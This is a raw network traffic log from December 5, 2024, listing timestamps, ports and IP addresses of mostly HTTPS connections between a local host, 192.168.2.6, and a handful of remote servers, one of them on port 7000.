Dec 5, 2024 14:02:12.548784018 CET	443	49881	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.552115917 CET	443	49881	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.552208900 CET	49881	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.552295923 CET	49881	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.552309036 CET	443	49881	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.552319050 CET	49881	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.552325010 CET	443	49881	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.555629015 CET	49887	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.555676937 CET	443	49887	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.555911064 CET	49887	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.556349039 CET	49887	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.556365013 CET	443	49887	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.967959881 CET	443	49883	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.971918106 CET	443	49883	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.971967936 CET	443	49883	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.971992016 CET	49883	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.972028017 CET	49883	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.982597113 CET	49883	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.982610941 CET	443	49883	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.982702971 CET	49883	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.982708931 CET	443	49883	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.989183903 CET	49888	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.989233971 CET	443	49888	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.989569902 CET	49888	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.990412951 CET	49888	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.990428925 CET	443	49888	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.499964952 CET	443	49884	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.502743006 CET	49884	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:13.502769947 CET	443	49884	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.503671885 CET	49884	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:13.503678083 CET	443	49884	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.923012018 CET	49889	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:13.923057079 CET	443	49889	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:13.923125982 CET	49889	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:13.923398972 CET	49889	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:13.923412085 CET	443	49889	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:13.933736086 CET	443	49884	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.937434912 CET	443	49884	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.937484980 CET	49884	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:13.938711882 CET	49884	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:13.938719034 CET	443	49884	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.938749075 CET	49884	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:13.938754082 CET	443	49884	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.941740990 CET	443	49885	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.943058968 CET	443	49886	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.943927050 CET	49885	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:13.943947077 CET	443	49885	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.944399118 CET	49885	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:13.944406986 CET	443	49885	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.945861101 CET	49886	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:13.945873976 CET	443	49886	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.946755886 CET	49886	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:13.946760893 CET	443	49886	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.947643995 CET	49890	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:13.947670937 CET	443	49890	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:13.947727919 CET	49890	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:13.948002100 CET	49890	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:13.948019981 CET	443	49890	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.081161022 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:14.133577108 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:14.275895119 CET	443	49887	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.276396990 CET	49887	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.276429892 CET	443	49887	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.276957035 CET	49887	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.276962996 CET	443	49887	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.376319885 CET	443	49885	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.377835035 CET	443	49886	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.380341053 CET	443	49885	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.380397081 CET	49885	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.380398035 CET	443	49885	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.380537033 CET	49885	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.380619049 CET	49885	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.380625963 CET	443	49885	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.381405115 CET	443	49886	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.381479025 CET	49886	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.382189989 CET	49886	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.382198095 CET	443	49886	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.382206917 CET	49886	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.382210970 CET	443	49886	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.386158943 CET	49891	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.386190891 CET	443	49891	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.386260986 CET	49891	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.387010098 CET	49892	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.387036085 CET	443	49892	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.387113094 CET	49892	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.387327909 CET	49891	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.387337923 CET	443	49891	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.387491941 CET	49892	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.387509108 CET	443	49892	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.706403971 CET	443	49888	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.707006931 CET	49888	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.707020998 CET	443	49888	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.707500935 CET	49888	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.707506895 CET	443	49888	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.710243940 CET	443	49887	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.710627079 CET	443	49887	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.710688114 CET	443	49887	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.710694075 CET	49887	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.710736036 CET	49887	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.710784912 CET	49887	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.710799932 CET	443	49887	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.710812092 CET	49887	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.710817099 CET	443	49887	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.714792967 CET	49893	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.714838028 CET	443	49893	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:14.714912891 CET	49893	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.715053082 CET	49893	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:14.715065956 CET	443	49893	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:15.140664101 CET	443	49888	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:15.144344091 CET	443	49888	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:15.144414902 CET	49888	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:15.144785881 CET	49888	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:15.144785881 CET	49888	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:15.144805908 CET	443	49888	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:15.144814968 CET	443	49888	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:15.162745953 CET	49894	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:15.162816048 CET	443	49894	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:15.162897110 CET	49894	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:15.163228035 CET	49894	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:15.163247108 CET	443	49894	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:15.489130020 CET	443	49889	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:15.490987062 CET	49889	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:15.491008043 CET	443	49889	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:15.491084099 CET	49889	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:15.491091967 CET	443	49889	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:15.664426088 CET	443	49890	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:15.664983034 CET	49890	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:15.665004015 CET	443	49890	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:15.665604115 CET	49890	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:15.665611982 CET	443	49890	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.098577976 CET	443	49890	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.102324009 CET	443	49890	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.102377892 CET	443	49890	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.102382898 CET	49890	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.102441072 CET	49890	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.103009939 CET	49890	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.103053093 CET	443	49890	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.103135109 CET	49890	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.103146076 CET	443	49890	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.106169939 CET	49895	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.106204987 CET	443	49895	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.106367111 CET	49895	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.106514931 CET	49895	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.106525898 CET	443	49895	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.142323017 CET	443	49891	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.142590046 CET	443	49889	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:16.142654896 CET	443	49889	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:16.142860889 CET	443	49892	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.142924070 CET	49889	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:16.143373966 CET	49889	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:16.143824100 CET	49891	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.143838882 CET	443	49891	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.144412041 CET	49891	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.144417048 CET	443	49891	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.144848108 CET	49892	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.144861937 CET	443	49892	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.145231962 CET	49892	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.145236015 CET	443	49892	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.435178995 CET	443	49893	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.477354050 CET	49893	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.576447010 CET	443	49891	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.577711105 CET	443	49892	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.577778101 CET	443	49892	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.577884912 CET	49892	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.579977989 CET	443	49891	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.580029011 CET	49891	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.580039978 CET	443	49891	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.580050945 CET	443	49891	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.580102921 CET	49891	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.760567904 CET	49893	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.760592937 CET	443	49893	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.772964001 CET	49893	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.772973061 CET	443	49893	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.773500919 CET	49891	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.773500919 CET	49891	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.773533106 CET	443	49891	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.773544073 CET	443	49891	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.804480076 CET	49896	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.804537058 CET	443	49896	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.804630041 CET	49896	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.804748058 CET	49896	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.804759979 CET	443	49896	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.804877996 CET	49892	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.804915905 CET	443	49892	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.804932117 CET	49892	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.804939985 CET	443	49892	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.847898006 CET	49897	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.847949028 CET	443	49897	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:16.848015070 CET	49897	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.849023104 CET	49897	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:16.849040985 CET	443	49897	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.085330963 CET	443	49894	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.085942984 CET	49894	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.085988045 CET	443	49894	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.086443901 CET	49894	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.086450100 CET	443	49894	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.088946104 CET	443	49893	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.092060089 CET	443	49893	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.092132092 CET	49893	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.092185020 CET	49893	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.092205048 CET	443	49893	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.092231035 CET	49893	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.092237949 CET	443	49893	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.095360994 CET	49898	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.095417023 CET	443	49898	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.095484018 CET	49898	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.095612049 CET	49898	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.095629930 CET	443	49898	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.531553030 CET	443	49894	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.537452936 CET	443	49894	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.537520885 CET	49894	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.537794113 CET	49894	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.537813902 CET	443	49894	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.537918091 CET	49894	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.537925005 CET	443	49894	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.547547102 CET	49899	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.547599077 CET	443	49899	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.547688961 CET	49899	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.548851013 CET	49899	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.548870087 CET	443	49899	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.901845932 CET	443	49895	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.902347088 CET	49895	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.902358055 CET	443	49895	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:17.902899981 CET	49895	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:17.902908087 CET	443	49895	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.340383053 CET	443	49895	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.340434074 CET	443	49895	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.340580940 CET	49895	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.340806007 CET	49895	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.340832949 CET	443	49895	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.340848923 CET	49895	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.340856075 CET	443	49895	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.344017029 CET	49900	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.344027996 CET	443	49900	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.344305038 CET	49900	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.344305038 CET	49900	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.344327927 CET	443	49900	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.522494078 CET	443	49896	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.523106098 CET	49896	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.523138046 CET	443	49896	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.523761988 CET	49896	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.523767948 CET	443	49896	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.568270922 CET	443	49897	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.569232941 CET	49897	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.569232941 CET	49897	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.569257975 CET	443	49897	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.569273949 CET	443	49897	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.956806898 CET	443	49896	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.960704088 CET	443	49896	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.960781097 CET	443	49896	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.960818052 CET	49896	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.961930037 CET	49896	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.963558912 CET	49896	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.963581085 CET	443	49896	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.963613033 CET	49896	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.963618994 CET	443	49896	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.968025923 CET	49902	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.968080044 CET	443	49902	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.968264103 CET	49902	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.968367100 CET	49902	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.968381882 CET	443	49902	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.990361929 CET	443	49898	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.990751982 CET	49898	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.990778923 CET	443	49898	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:18.991715908 CET	49898	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:18.991725922 CET	443	49898	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.007389069 CET	443	49897	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.010724068 CET	443	49897	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.010932922 CET	49897	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.010986090 CET	49897	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.010986090 CET	49897	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.011006117 CET	443	49897	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.011014938 CET	443	49897	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.015985966 CET	49903	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.016020060 CET	443	49903	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.016228914 CET	49903	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.016371012 CET	49903	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.016380072 CET	443	49903	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.275022984 CET	443	49899	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.279244900 CET	49899	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.279244900 CET	49899	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.279263020 CET	443	49899	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.279277086 CET	443	49899	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.427643061 CET	443	49898	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.433388948 CET	443	49898	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.433429956 CET	49898	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.433440924 CET	443	49898	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.433454990 CET	443	49898	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.433499098 CET	49898	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.434746981 CET	49898	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.434752941 CET	443	49898	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.434767008 CET	49898	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.434772015 CET	443	49898	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.437964916 CET	49904	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.437995911 CET	443	49904	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.438049078 CET	49904	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.438179970 CET	49904	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.438191891 CET	443	49904	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.709583998 CET	443	49899	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.712872028 CET	443	49899	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.712964058 CET	49899	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.713121891 CET	49899	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.713140011 CET	443	49899	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.713154078 CET	49899	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.713160038 CET	443	49899	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.715616941 CET	49905	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.715677023 CET	443	49905	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:19.715748072 CET	49905	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.715997934 CET	49905	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:19.716015100 CET	443	49905	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.061480045 CET	443	49900	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.062303066 CET	49900	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:20.062316895 CET	443	49900	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.063839912 CET	49900	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:20.063848972 CET	443	49900	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.496817112 CET	443	49900	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.499645948 CET	443	49900	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.499773979 CET	49900	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:20.504957914 CET	49900	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:20.504957914 CET	49900	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:20.504976034 CET	443	49900	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.504985094 CET	443	49900	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.507781029 CET	49906	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:20.507795095 CET	443	49906	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.508392096 CET	49906	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:20.511204004 CET	49906	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:20.511214018 CET	443	49906	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.688395977 CET	443	49902	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.688962936 CET	49902	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:20.689011097 CET	443	49902	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.689457893 CET	49902	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:20.689467907 CET	443	49902	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.737503052 CET	443	49903	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.737993956 CET	49903	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:20.738019943 CET	443	49903	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.738465071 CET	49903	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:20.738471031 CET	443	49903	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:20.849982023 CET	49907	443	192.168.2.6	150.171.27.10
Dec 5, 2024 14:02:20.850018024 CET	443	49907	150.171.27.10	192.168.2.6
Dec 5, 2024 14:02:20.850218058 CET	49907	443	192.168.2.6	150.171.27.10
